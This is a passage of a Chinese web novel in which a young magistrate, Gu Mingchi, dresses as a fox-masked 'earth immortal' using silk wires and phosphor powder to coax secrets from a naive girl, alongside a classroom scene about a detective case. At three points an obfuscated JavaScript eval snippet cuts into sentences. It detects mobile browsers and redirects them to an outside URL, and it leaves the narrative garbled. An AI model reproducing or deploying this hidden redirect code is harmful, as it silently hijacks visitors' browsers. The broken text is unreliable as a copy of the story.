他的父亲与林枝意原是好友,乱世中一同扶持景明帝至今日。此案交给他来查,既可以提防有人趁机陷害于林枝意,同时又不会再激化陛下与林枝意之间的矛盾。 最重要的是,他一直怀疑父亲的死与北寒有关,所以无论如何都不会偏颇北寒。 思至此处,顾明池这才明了景明帝的难处。 送至宫门,秦公公俯身行礼:“老奴便送到此处,如今事务繁多,小侯爷也多多保重身体。” “多谢秦公公。” 见顾明池出来,一直候在宫外的崔参上前道:“大人是要去刑部府衙,还是去盛京院?” 顾明池拧眉摇头:“回府休息。” 崔参微微诧异,这个时间回府休息,一点也不符合顾明池以往的习惯。 但见他神色沉倦,崔参也没再细问,扶着顾明池上了马车,往肃远侯府而去。 马车经过镇远将军府,顾明池掀了窗帘往外望去。 将军府大门紧闭,虎腾营与禁卫军同守于外,禁足的同时又顾及了林枝意的颜面。 顾明池放下窗帘,闭眸沉思,看来陛下还未完全对林枝意失去信任。 回到侯府,顾明池交代了管事不要让人打扰他休息,便独自一人回了屋中。 顾明池的房间无甚奢华,墙壁上唯一的装饰便是他父亲留得一副北域雪鹰图。 他站于画前看了许久,然后抬手拉合卷轴,画卷合闭,墙面凹陷,暗格之中一个木盒缓缓升起。 顾明池将木盒取出,盒内只存放了一块令牌与一方巾帕。 他将包叠仔细的巾帕打开,捻着巾帕中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15263840|164541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 包裹的物品与自己从怀中取出的手帕比放在一起。 两方帕子中的银针无论材质、粗细皆无异样,显然是出自同一工匠之手。 他紧盯两根银针,面色凝重,半晌后才放下银针,拿起盒中的令牌,目光直凝正中的刻字—— “天二” 是北寒暗鸢楼天阁二号所持的集鸢令。 这两件物品也是他父亲死时唯一留下的线索。 顾明池将令牌缓缓纳入掌心,轻声舒气,闭眸靠坐入圈椅之中。 仿制的集鸢令,言行可疑的阿木那,藏在暗处的暗鸢楼与不明杀手,立场不明的林枝意与北寒国...... 顾明池抬手揉捏着自己的眉心,脑中一团乱麻。 他在脑海中慢慢梳理这些线索,片刻后揉捏的手一顿,一双明亮乌眸突然自脑海中一闪而过。 顾明池坐起身,从袖袋中取出昨日在阮歆梨身边捡到的签纸,开始细细回想她这些时日的言行。 签纸上暗示五月初二不易会友,有小人作祟。这一天她正好逃出盛京院,前往林枝意与薛远哲相见的云善楼。 而且那日她的目的并非用膳,还特意找人假传阮知闲的口信,想要将林枝意骗回,可见她是明白签纸的指向。 顾明池取纸提笔,将相关案件与阮歆梨的怪异言行一一写下比对。 杜佥事府出事是二月初七,二月初六的晚上,他在将军府的院墙下遇到了高烧出逃的她。 顾明池停笔细想,倏然想起大理寺交来的遇害名单里有一人正好是回春堂的大夫! 指尖轻点,顾明池不禁扩想,或许此事与阮知闲有关。 继续往前思索,顾明池无奈皱眉,他与阮歆梨接触不多,对她的事更是知之甚少,与她相熟,还是在她十岁生辰之后...... 生辰...... 顾明池神色一顿,突然想起自己送她的琉璃盏—— 那日在奇珍阁,她便轻易信了老板的胡言乱语,还在询问神魔怪异之事。 天真的性格,爱听神魔故事,把他错认为狐妖...... 顾明池轮点着搁在桌面的手指,或许幕后之人就是在她身后装模作样的“神”。 问题是他要如何从阮歆梨口中探听出消息,将她身后的伪神拽出? 顾明池踱步细想,无意间袖摆拂过一旁的桌案,啪嗒轻响,他看着落在脚边的妖狐面具,瞳眸渐渐眯起。 既然神明众多,多一个伪神又有何不可呢? 他弯腰捡起面具,吹了吹上面沾染的灰尘,随后将面具覆于面上。 薄唇轻勾,瞳眸幽暗,半露的面容与诡异的花纹更显妖艳。 顾明池夹起那枚小小的签纸,眉头轻挑—— 既然她相信神魔,那他便做一回狐仙,将她背后的伪神揪出来! 28. 第 28 章 暑热方起,阮歆梨便已经有了手软脚软头也昏的感觉,午后刚坐进明正堂,她便立着书本慢慢闭上了眼。 “顾先生,字丑真的也会犯罪么?” “怎么可能!这肯定是你爹为了劝你练字骗你的!” 堂内一阵哄笑,已经睡蒙的阮歆梨慢慢睁开了眼。 她迷迷糊糊地看着一旁兴奋的同窗,也不明白他们在讨论什么,为什么笑得这么开心。 正前方的席座传来一道清润含笑声:“他爹并没有骗他,字丑真的会犯罪。” 字丑也是罪? 还在困顿摇晃的阮歆梨骤然清醒。 她抬头看向前方,与端坐于太师椅上的顾明池对视个正着。 竟然已经上课了! 刚刚睡醒的阮歆梨心虚地错开视线,顾明池唇畔轻勾继续道:“前朝律令中便有一条规定,参加科举考试。如若考生字迹潦草或成绩太差都要被罚喝墨汁一升。” “要喝一升墨汁啊!”满堂学生哄吵,更有好奇心旺盛的少年,用指尖蘸了一点墨汁尝了味,皱着五官苦哈哈地呸个不停。 顾明池执起手边戒尺轻敲,堂内逐渐安静下来。 他看着下方学生笑道:“不过那是前朝律令,我朝已经摒弃此令。” 最开始发问的圆脸少年轻轻松了一口气:“那就好,再过两年,我爹铁定要让我去参加科举考试,我可不想喝那臭烘烘的墨汁!” 顾明池看向正在庆幸的少年,眉眼一弯温声道:“我朝新令,凡参加科举者,若字迹潦草,则取消三届考试资格,并将于每届开考时,将该生考卷张贴于院外,以示警醒。” 刚刚松了一口气的少年顿时眼睛圆瞪:“那岂不是既要回家挨揍,还得在大庭广众之下丢人!” “秦朗,你就认命吧!你放心,到时候我们一定笑得小声点,给你留些脸面!” 被唤秦朗的少年苦着脸挠了挠自己的脑袋,看着坐在正前方的太子,他有些羡慕道:“好羡慕殿下啊,不用参加科举,也就不用担心被罚了!” 太子浅笑摇头,一旁的沈良朝支着腿回头道:“殿下的字,参加科举也不可能被罚。不勤学苦练,只埋头抱怨又有何用?” 沈良朝的话刺得秦朗脸颊通红,顾明池看了两人一眼点头道:“良朝说得没错,没有谁生来就是文童,都是要靠后天的努力。” 秦朗羞惭低头,顾明池望了一眼挤坐在最后方的一排少年道:“只要你肯用心坚持,就一定会有所收获。你看彦清他们,先前并没有入过学堂,可凭借自己的勤奋,如今也能跟上课程。所以学习在于内勤,而不在外助。” 突然被点明夸赞的后排少年们神情羞赧,年纪稍大的彦清向着顾明池谦虚一礼。 经顾明池这么一说,昏沉大半天的阮歆梨这才留意到后排多了几个同窗。 那个名叫彦清的少年俯腰起身,她看到他面上紧贴的铜铁面具,诧异地靠向坐在旁边的方绾一:“后面什么时候多了人?还有那个彦清,他怎么戴着面具来上课?” 方绾一回头同看,贴着阮歆梨小声道:“他们都是盛京院收留的一些孤儿,平日里就在院中做一些杂役之事。闲暇时也会偷听先生们讲课自学。沈太傅知晓了这些事,便准他们以工偿学,无课时便在学院中打杂,有课时可在堂内听学。” “那个戴面具的少年,本来无名,据说面具之下面容可怖,大家都不愿意与他玩,唤他阿丑。前些日子他被分至太傅院中做事,得了太傅青睐,给他起名彦清,如今就跟在太傅身侧。” “原来如此。” 阮歆梨好奇地盯着少年观察,由于她的打量过于直白,彦清很快便留意到了她的注视。 微微怔愣后,面具后那双琥珀色瞳眸轻弯,隔着冰冷的面具,阮歆梨却感受出了他的温和笑意。 见阮歆梨还在后看,方绾一轻声问道:“你在看什么?” 阮歆梨转回头道:“没什么,就是觉得他也没大家说得那般可怕。而且......” 回想彦清那双温和的瞳眸,她抿着唇迟疑道:“我感觉他有点眼熟。” “嗯?你说彦清么?”方绾一摇摇头道:“应该不会吧,若非在盛京院内,他与你应当也没有见面的机会。” 想想自己每次出门都被看得紧紧的,阮歆梨点点头:“说得也是。” 看到中间靠在一起低语的两颗小脑袋,顾明池敲了敲桌面轻咳道:“好了,方才说得那些不过是东盛律令的细微一点,往后我会与你们细致探讨。” “顾先生!反正今日还有些时间,您可以和我们说说您经手过的一些案子么!” 说条文律令,堂下的学生便昏昏欲睡。一说案子,这些少年们立刻提起了精神。 顾明池瞥了眼同样来了兴趣的阮歆梨,眸珠轻转,顺着这些少年的意道:“那我便说一个老前辈办过的案子吧。” “恒原府的高府尹屡破奇案,他破案的手法也是与众不同。通常我们都是以证据线索为引,一步接一步地探查,可他断案却是靠与神通灵。” 堂下喧哗骤响,顾明池睨了眼瞳眸晶亮的阮歆梨,唇角慢慢勾起:“林源村曾有一案,一家三口皆在深夜被人割颈杀害。经过勘查,线索只有留在泥土地上的半枚脚印,以及每具尸体的衣领皆有湿意。” “那凭脚印不就能找到了么?” 秦朗刚说完,沈良朝就皱眉反驳道:“只半枚脚印无异于大海捞针,如此定是要耗费大量的时间与人力。” 顾明池轻轻点头:“不错,但高府尹只用了半个时辰便破了此案。” 阮歆梨听得起劲,半截身子都趴上了桌面,眼睛一眨不眨地望着顾明池。 见鱼差不多已经上钩了,顾明池慢慢收线道:“当时,高府尹摸了摸死者潮湿的衣领便道‘衣有湿意,临水,此事当问水神’。他掐指问神,便测出那日吉位于东南方,遂带人往东南方寻去。结果竟真在东南河边遇着了一个渔夫,手中渔刀带血,脚下草鞋纹印正与那半枚脚印相合,此案告破。” 少年们半张着嘴甚是诧异,没想到还有这么神奇的破案之法。 当即便有急性子的学生询问道:“先生,这问神之法当真有用?” 顾明池没有直接解答,故意卖关子道:“日后你们见着高府尹,可自行询问。” 半趴在桌面上的阮歆梨,探起身子好奇道:“顾先生,那高府尹是怎么向水神问出吉位的呀!” 顾明池展开折扇慢慢道:“那就看是否能与神意相通了。古有问吉之法,抛枝寻向。树枝指往何处,便可去该方向寻找机遇。” “真的么!” 堂内无树枝,有人拿了笔道:“笔杆是竹制,用它代替可以么?” 顾明池扬了扬眉头道:“可以一试。” 啪嗒啪嗒,笔落桌面的声音不断响起,阮歆梨也抽笔一抛—— 笔杆横桌后却又转了半圈,笔尖直指东南方位。 阮歆梨往地面看了几眼,刚刚抛完笔的方绾一好奇道:“怎么了?你在找什么东西么?” “没......”阮歆梨迟疑道:“刚刚抛笔时好像有什么东西掉地上了。” 方绾一探头细看,除了一颗小石子落在砖缝中,其他什么也没有。 什么东西也没找着,阮歆梨也不再执着。她转回头拿起桌上的笔,准备再试一次! 悄悄收回手的顾明池起身下巡,走至阮歆梨身边时,落扇挡住了她已经再次抬起的手:“问神之事,心诚则灵,一日不可多问,一事不可多求。” 阮歆梨眨了眨眼,收回手仰头道:“那阿梨刚刚抛出的笔指向东南,这是不是说明今日东南方便是阿梨的吉位?” 顾明池顿了片刻:“或许吧。” 阮歆梨美滋滋地收了笔,等今日散学,她就往东南方走走看! 钟声三响,众人向今日授课的顾明池致谢道别。 今日是入学第六天,明日休息。急着回家的阮歆梨拉着方绾一,便匆匆往住戎秀居跑去。 学生走了大半,明正堂顿时安静了下来。 顾明池将桌案收拾整齐,两道身影挡住了斜射进来的光影。 两个少年身形相仿,只是一人金冠锦袍,一人铁面粗衣。 顾明池看着站在身前的太子与彦清,放下手中书籍道:“有什么疑问么?” 太子伸手礼让,彦清亦是,互相推让几回后,顾明池做主,指了指彦清道:“既然殿下有意相让,你便先说吧。” 彦清客气一礼,这才看向顾明池道:“先生方才所说的案子,并非是真的依赖什么神明指示吧?” 太子认同点头,顾明池弯眸笑道:“那你们觉得高府尹是如何破案的?” 彦清顿了顿,有些不确定道:“学生斗胆猜测,应是与那半枚脚印有关。” 顾明池没有接话,只抬手示意他继续道。 彦清喉间一滚,鼓足勇气稳声分析道:“案子发生在恒原府,结合位置与林源村之名,学生猜测,林源村应是一个依山临水的村落,村中当有村民以打渔为生。” “被杀的村民家中地上留有半枚脚印,渔民多穿草鞋,想来高府尹根据那半枚草鞋的纹印,已经推测出杀人者应是村中渔夫。” “屋中留有脚印,说明杀人之夜可能有风雨,若是渔夫,第二日极有可能会去河边打渔。当地河流东西走向,所以高府尹才言吉位东南,实际就是为了去河边巧遇渔夫。” 彦清一一分析,顾明池尚未评价,太子已先一步赞叹道:“妙也!彦清兄说得甚是有理!” 太子的热情夸赞,令内敛的彦清手足无措。尽管脸上覆着铁面看不清神色,但露在面具外的泛红耳尖,将他的窘迫羞涩暴露无遗。 顾明池轻浅一笑,又看向太子询问道:“殿下呢?你对此案又有何看法?” 太子有些不好意思道:“我不及彦清兄那般细致,没有想到结合位置、地名这些细节。只是猜测高府尹可能是从死者身上的湿意猜出了杀人者的身份。” 彦清满目求知,太子温和笑道:“顾先生方才提及,那渔夫是用渔刀杀的人,渔刀常用来打理鱼虾,想来也是腥味浓重,我便猜测死者的伤口附近应当也是留下了腥臭之味。” 彦清眸中恍然,顾明池轻轻抚掌:“认真心细,你们想得已是极好。” 虽是夸赞,俩人也听出了顾明池的言外之意,当即心虚求问:“还请先生指点学生思虑不周之处。” “渔刀带有鱼腥味不假,可割颈杀人,死者身上也会有浓郁的血腥之味,会遮掩住刀口附近的鱼腥味。” “那半枚鞋印可以判断为草鞋所留,但你也猜测到杀人之夜有风雨,那即使不是渔夫,为了出行方便也可能会穿着蓑衣草鞋,而不能只以此为证据断定身份。” 顾明池看向俩人耐心教导:“所以断案须得谨慎全面,而不能只依赖某一线索。若是将你们二人方才想到的那些线索整合,那么确定犯人的条件便会更加明晰无误。” 太子与彦清拱手谢礼,顾明池摆手一笑。 “学生还有一事不明。”太子不解道:“高府尹明明是以线索推断,又缘何要假借玄学之术来断案?” “因为恒原府地处南域,那边的人对神明的信仰远超我们的想象。若能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271724|164541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 借神明之意,许多事情做起来会更方便。” 听完顾明池的解释,彦清有些茫然:“既是如此,那先生方才在课上为何不明说高府尹真正的断案之法?” 想起阮歆梨当时的兴奋劲,顾明池面不改色道:“这是我留给大家的一道题,待课程结束时会算入考核之中,你们莫要对外言说。” “原来如此。” 太子和彦清不禁有些庆幸,幸好今日散学留了下来。 顾明池从自己的书中抽出一本刑部前辈的手札,他将书册递于二人道:“你们若是对探案有兴趣,可以翻阅一下这本手札。” 两名少年同时伸手,看到一旁白净的手指,彦清慢慢缩回了手。 太子将书接在手中,随即一笑,抬手轻揽住彦清的肩膀:“你今日可还有其他事?若是无事便随我回东宫吧,今夜我们一起看手札,还能共同讨论一二!” 彦清怔了半晌,看着太子搭在自己肩上的手,匆忙回神欲拒。 “太子相邀,你若无事只管随他去便是。” 人生难得一知己,陛下送太子来盛京院,本就是为了让他多亲近未来的子臣。 彦清是根好苗子,顾明池倒也乐得促成这二人做好友。 “是啊!你只管与我同回,太傅与司业那边,我会去打招呼。” 看出彦清的拘谨,太子兀自揽了他往外走去。 顾明池看着俩人并排离开,倏然想起了自己的父亲与景明帝。 沉默良久,他慢慢走至了阮歆梨的桌旁。 砖缝内小小的石子嵌于其中,他抬脚轻碾,将这枚自己偷偷丢出的石子碾化成灰。 差不多该去收鱼了。 * 盛京院门口停着各家的马车,先前林枝意承诺过,今日要和阿爹一起来接她。 然而马车一辆接一辆的离去,蹲在门口的阮歆梨也没有看到自己爹娘的身影。 “珍儿,你有看到阿爹阿娘么?” 阮歆梨踮着脚往自家的方向望去,珍儿也疑惑摇头:“珍儿也没看到,将军与老爷应当不会忘记才是。” 又等了许久,既没看到爹娘,也没看到自家的马车,看到同窗陆续被接走,阮歆梨不禁有些失落。 “阿梨!” 马车尚未停稳,半探出身的阮怀轩已经从车上跳了下来,他看着情绪低落的阮歆梨,蹲下身赔笑相哄道:“在都堂耽搁了一会,来晚了,你别生哥哥的气啊!” 第一次独自离家几日,不见时还好,这会看到家人,那种酸涩的思念感突然就涌了上来。 阮歆梨抽了抽鼻翼,伸手环住阮怀轩的脖颈道:“你再不来,阿梨就要饿死了!” “是哥哥不好!说,想吃什么,哥哥带你去买!” 阮怀轩抱起阮歆梨走了几步,颠了颠手臂又歪头打量了一眼:“看来在学院里过得不错啊,人长高了,也变重了。” 说完还故意哼哼了两声,明白阮怀轩是在打趣她像小猪,阮歆梨伸手揪住他的耳朵吼道:“我是猪,那你也一样!是猪哥哥!” 阮怀轩开心大笑,阮歆梨收了手疑惑道:“为什么是你来接我,阿爹阿娘呢?” 开怀的笑声一顿,阮怀轩打了个马虎眼道:“阿爹阿娘有事,今日来不了,他们在家等你呢,等回家就能见着了!” “哦。”阮歆梨觉得阮怀轩的神情怪怪的,但是他说阿爹阿娘都在家,那应该就没什么。 想起林枝意之前被偷盗去的符印,阮歆梨还是有些担心。 不过既然那是假印,应该就不会给阿娘带来什么麻烦了吧! 趴在马车的窗户边,阮歆梨摇着脑袋一路玩看。 直到看到自家门口多了许多不认识的守卫,她才察觉出一些异样:“哥哥,门口怎么多了这么多守卫?他们是哪来的?” 阮怀轩看着门口多出的禁卫军,支支吾吾糊弄道:“他们是新来的,过几日便会离开。” “这是......禁卫军?”阮歆梨看着他们身上的金色鳞甲,想起太子身边的侍卫道:“他们是宫中的人?” 阮怀轩没想到自家妹妹会认识禁卫军,还没想好怎么解释,阮歆梨已经急道:“他们守在这,是不是和阿娘有关!阿娘她怎么了?” 小姑娘的眼睛说红就红,阮怀轩赶紧哄着她明说道:“你别急!阿娘没事,只是被陛下禁足一月而已!” 阮歆梨神情怔愣,明白禁足是阿娘挨了罚。 “真的只是禁足?” 阮怀轩轻声叹气:“是,只是禁足,再过些时日便好,这几日阿爹都在院中陪着她。” “那我去看看阿娘!” 阮怀轩一把拽住阮歆梨,摸了摸她的发顶劝道:“明日吧,你现在过去问,只怕阿娘刚刚好些的心情又要变糟。” 阮歆梨眸中光亮微暗,慢慢点了点头。 “好了,在学院几日,应该也累了吧,先进去休息,晚点我再带你去街上转转。” 出门玩耍也并不能激起阮歆梨多少情绪,她沮丧地回到屋中,不明白明明已经破了凶兆,结果阿娘还是挨了罚。 情绪低落地收拾着自己带回来的小包裹,看到如今空着的琉璃盏,她倏然想起了今日课上顾明池说得话—— 若与神意相通,前往吉位或许会有好机遇。 阮歆梨抱着琉璃盏暗暗思忖,死马当活马医,去碰一碰运气也没什么不可,说不准她真能撞上什么机遇,去弄明白琉璃盏的签纸究竟是怎么一回事。 她今日的吉位是什么方向来着...... 对,东南方! 那她就往东南方去碰一碰! 29. 第 29 章 临出门前,工部那边突然来了人,让阮怀轩即刻去处理事务。 刚刚答应了自家妹妹,要带她去试试酒食街新开的那家饭馆菜肴,现在又要食言,阮怀轩看着她,支支吾吾不知该如何言说。 “哥哥只管忙你的便是,等下次有空时再带阿梨出门。” 仔细观察阮歆梨的神色,见她确无不愉,阮怀轩松了一口气。 心中不禁感慨,盛京院果真厉害,只短短几日,就让他家这个娇惯的皮猴变得温顺懂事。 想起先前委托顾明池多多照看阮歆梨,如今看来,人确实照顾得不错,改日见着他,定要请他喝上一杯,以示感谢! 见阮怀轩离开,阮歆梨也松了一口气。 正惦记着往东南方去寻一寻,阮怀轩却突然过来,说要带她出门去试试新菜肴。 正愁着怎么甩掉他,工部便有差事要他去做。阮歆梨心想,这也许就是能有机遇的好兆头! 这会云嬷嬷她们正好以为她被阮怀轩带出了门,此时不溜,更待何时! 偷偷瞥看了门口的两方守卫,阮歆梨背着手,故作自然地迈出门槛。 守在门口的士兵齐齐看了她一眼,识出她的身份,便又收回了目光继续职守。 挺着身板的阮歆梨稳步走了出去,直至走出守卫视线,这才小跑着逃躲向东南方。 回头看了看门口未有反应的守卫,阮歆梨不禁轻叹,要不是阿娘被禁足,门口换了一批守卫,不然她还不见得能这么顺利地跑出来。 抛枝问吉之法,只指了吉位在东南方,但具体是何处却不知晓。 没有明确的目的地,阮歆梨只得沿着东南方胡乱漫走。 走出将军府的范围,沿途又是一座巨大的府邸。 院墙之内,亭台水榭从高处冒出尖,风自院内吹来,隐隐携着清淡的草木花香。 阮歆梨踮着脚向内眺望,虽然只看到了屋脊上雕得鸟兽之像,但依旧可以感受出府邸的主人,比她那总是练着刀剑把府里那点花草都削平了的阿娘,雅致许多。 在家里这么久,她还真没怎么见过这座府邸的人。 阮歆梨隔着院墙慢走,她只依稀记得阿嬷好像提起过这户人家,叫什么......“猴”? 先前阿娘说顾先生也住在附近,就是不知具体在哪里了,说不准也在这个方向? 一想到顾明池那张脸,阮歆梨突然一激灵。 噫,不行不行,她好像每次遇到他都没什么好事,今晚可别再碰到他! 生怕不小心会与顾明池来一场偶遇,阮歆梨也不敢再东张西望,猫着身子做贼一般,快速地离开了这一片宅邸。 将军府本就位于京城东南方,这会过了肃远侯府,竟是直接到了一片矮坡,坡上青竹满布,再远一些,水声潺潺,城楼上的火光依稀可见。 看着面前拦路的竹林,阮歆梨有些傻眼。 以往出门都是直接跟着阿爹他们去了街市,没想到东南方竟然只有这么一片空间。 如今她已经走到了尽头,又上哪去遇什么机缘? 天色昏暗,竹林中连鸦雀的叫声都渐渐息止。 失落感袭满心头,阮歆梨挎着肩慢慢转向了来时的方向。 叮铃—— 一声微弱轻响从竹林深处传出。 阮歆梨耳尖微动,她停下脚步眼珠轻转。 叮铃,叮铃—— 顺风传来清脆的铜铃慢响声,确定不是自己的幻觉,阮歆梨慢慢转回了身,顿时愣在了原地。 方才还是一片昏暗的竹林,不知何时亮起了点点幽光,暗绿的光点萦绕在竹节旁,蜿蜒向内,竟是往深处引出一条窄径。 阮歆梨迟疑上前,踮着脚尝试着去触碰高处的光点。 指尖与那幽光隔着距离,竹枝晃动,竟催得那幽光往更高处而去。 阮歆梨盯着那不让碰触的光点,心下惊喜交叠。 她试探着往竹林中迈近一步,四下漆黑,只这一条小路幽光浮动,似是在指引着她往更深处而去。 借着这点微光,阮歆梨抱着竹杆翘首观望,可惜光亮不足,她只望到竹影交斜,其他什么也看不清。 抿唇犹豫片刻,她从腰袋中取出出门前特意准备的火折子点燃,然后又从地面拾了几颗石子藏于手心。 一切准备就绪,阮歆梨这才壮着胆子沿着这条神秘的小径往内走去。 晃动的铜铃声渐渐清晰,她举着火折子躬弯着腰小心探望。 光点四散,窄径路线倏然消失,阮歆梨茫然的在原地慢转,努力寻找其他线索。 “呵。” 一声轻笑突然自身后幽幽传来,还在四下搜寻的阮歆梨顿时汗毛耸立! 她僵在原地不敢转动,手心攥紧,被先前捡得石子硌得生疼。 生硬的痛感拉回一点神智,她抖着肩微微定神,闭紧了眼猛然转身,将手心中的石子悉数砸向了笑声传来之处! 风声忽起,竹叶摩挲声簌簌作响。 突起的妖风,卷走了阮歆梨所有的勇气,尖叫被恐惧堵在喉间,火折子落地,她吓得抱头蹲身,颤抖不已。 “天灵灵,地灵灵,妖魔退散,不要吃阿梨!阿梨没有多少肉,不好吃!” 她缩着身惊惧地碎碎念念,风声渐止,竹林又恢复如常,方才的变故似乎都只是一场幻觉。 碎念声逐渐带了哭腔,阮歆梨抱着头抽抽噎噎,忽然又是一声轻笑传来:“就这么点胆子,也敢孤身一人闯进来。” 哭声一顿,阮歆梨以袖遮面慢慢抬起了头。 藏在袖后的乌眸轻眨,那道清润的声音再次响起:“放心,食人乃妖之行为,吾自不屑。” 嗯?不吃人? 阮歆梨挪开遮面的双袖,慢慢露出双眼—— 空的? 她看着前方空地,茫然地直起一点脖颈。 “抬头。” 阮歆梨应声抬头,幽光聚集四散,翠竹之间凌空飘立着一道月白身影。 见阮歆梨呆滞凝望,那道身影低首轻笑,面上艳红的半边妖纹诡异醒目。 突然一道颤声惊叫,终于回神的阮歆梨,吓得仰摔了一个屁股墩。她抱紧膝盖往后蹭了几步惊怨道:“还说不是妖!你怎么骗小孩啊!” 戴着狐纹面具的修长身影点步而下。 他轻轻飘落于地,慢慢向阮歆梨靠近道:“吾怎么骗你了?吾唤月竹,是此间地仙,又怎能与妖相提并论。” “......仙?” 阮歆梨抬头看了看这地仙方才飘立之处,悬空而立,确实非常人可以做到...... 月竹慢慢蹲身,铺散的衣摆处云纹流动。 他瞥了眼慌乱间被扔弃的火折子,星点火光将灭,他将火折子拾起,递至阮歆梨面前。 白净指尖于微弱火苗上轻点,噗得一声,火光骤晃,火焰又恢复到先前点燃时的模样。 点指明灯! 阮歆梨呆滞地看着复燃的火折子,月竹勾着唇角,拎起了她的袖摆,将东西物归原主。 被塞进手心的火折子还带着掌心的温热,阮歆梨瞪着眼盯了他许久,这才缓缓开口道:“你......你真的是仙?” 面具下那双弧线漂亮的眼眸微挑,月竹起身睥睨道:“你信便是,不信便不是。” 也不等阮歆梨回话,月竹已转身行出几步,抬手轻勾,一旁的竹尖便顺从地倾压而下,他轻扶竹杆,随即竹子牵着他归于原位。 看着飘然落卧于竹间的月竹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是,它会出签纸,告诉阿梨吉凶,但是最近它好像出了点问题,所以阿梨想找到它的主人,求他帮忙!” 月竹坐在竹上不语,垂眸思索片刻道:“那你将琉璃盏与签纸交于吾,吾替你一看。” 得到应允,阮歆梨面上一喜,随后又垮了小脸道:“我没带出来。” 月竹略一思忖:“如此,明夜此时,吾还在此处等你。届时你带着琉璃盏与签纸同来。” “好!” 月竹盯着她补充道:“此乃你与吾的约定,不可告诉他人,否则定有神罚!” “嗯嗯!阿梨不会告诉别人。” 月竹轻轻点头:“今夜已晚,你先回去吧,明日吾在此等你。” 阮歆梨欣喜回跑,几步之后又不放心地回头道:“你明天一定要来啊!” 已经准备翻身下来的月竹又默默斜倚回去:“吾自会遵守约定。” 得到允诺,阮歆梨开心地拿着火折子离开。 见人走远,坐在上方的月竹轻轻松了一口气。 片刻后,竹林暗处走出一人,崔参神情复杂地望着竹上的“月竹”道:“大人,您不觉得良心有些痛么?” 竹杆上的“月竹”抬手摘了面具,顾明池抓着竹枝睨他道:“废话什么,赶紧给我搭把手下去!” 借着助力的顾明池狼狈落地,半晌后他摸了摸自己的心口,莫名有些虚。 看来良心这种东西,是人都还会有一点的。 顾明池轻揉心口,片刻后沉沉舒了一口气。 嗯,还好,有,但不多。 30. 第 30 章 翌日傍晚—— 崔参借着轻微反光,眯着双眼,高举特意加了长柄的镰刀,站在竹林中对着枝叶轻挑。 一声类似弦断轻响,崔参匆忙蹲到地上搜寻,摸到发丝般粗细的银线后,面上一喜,小心翼翼地将丝线收卷起来。 “按你的速度,等你收拾好,她怕是得全看明白了。” 顾明池姿态悠闲地坐在突出的巨石上催促,崔参心疼地将用废的一指长银丝收好,表情幽怨道:“大人,这可是千金难买的裘韧丝,府里也只有这七尺长,昨日为了帮你飘然出场,全浪费在了这竹子上。” 存一寸是一寸,不忍心暴殄天物的崔参手上动作越发仔细小心:“这么大人了,竟然还用这些把戏骗小孩......” 自知有些理亏的顾明池摸了摸鼻翼,远远望着竹林入口,和声叮嘱道:“天色不早了,你仔细收拾干净,若是让她看穿了,这些东西便白浪费了。” 崔参手上动作一顿,回头看向顾明池道:“大人,依属下看,阮小姐怕是没那脑......呃,看出问题。如今只怕是深信不疑。” 听到崔参的评价,顾明池眉头微皱:“她远比你想象的要聪明。” 崔参神情疑顿,显然对此并不认同。 回想那个小麻烦精先前的表现,顾明池倏然一笑:“她并不是什么笨蛋,相反,还很机灵。只是她有一颗偏信善良的心,所以才会这般容易上当。” “她出生于太平之世,长于盛京,自幼便被将军府上下呵护在府中。她所接触的皆是疼她爱她之人,自然也不需要她去费心提防,这也就成了她不愿以恶心度人的重要因素。” “如今她会掉入我们的圈套,那是我们本也无甚坏心。如若想借此利用她去做伤天害理之事,她定然会警觉清醒。” 顾明池看向崔参认真道:“总之,想骗她,并非你想象中那般简单。” 纯善之人,缺得不是脑子,而是猜度伪善之人的心。 比起了解阮歆梨是怎样一个人,崔参更新奇顾明池对她的评价。 他跟着顾明池这么久,还未曾见他这般实心实意地去维护夸奖过谁。 崔参不禁心想,看来昨日那般装神弄鬼欺骗人,如今他家大人终是有了些愧意。 “崔参。” “嗯?” 顾明池挺直腰身,将衣袍上云丝织绣的纹样特意铺摆出来:“你看看我的衣摆是否都已整理好?夜间云丝在微光下更显光泽,会让我看起来更有仙气,所以一定要让衣摆的云纹露出。” 崔参:“......” “还有,昨日那些磷粉不用清理,再添一点,效果不错。” 崔参:“......是。” 行吧,他不该评价阮小姐,他确实看人不准。 崔参认命地继续替顾明池布置着“奇幻仙境”,更不明白自己怎么会认为一个没有良心的人能有愧意。 果然还是他入世太浅了! 天色昏沉,与昨日同一时间,阮歆梨应约而来。 看到月竹正坐在石块上把玩竹叶,她一直紧张悬着的心终于安定下来。 “东西带来了?” 月竹看向阮歆梨紧搂在胸前的小包裹,示意她将东西放上前来。 阮歆梨听话地将琉璃盏取出放好,月竹看向她缓声道:“说说它是怎么回事吧。” 故作高深的顾明池垂眸等着阮歆梨自己明说,然而等了良久也没听到人回话。 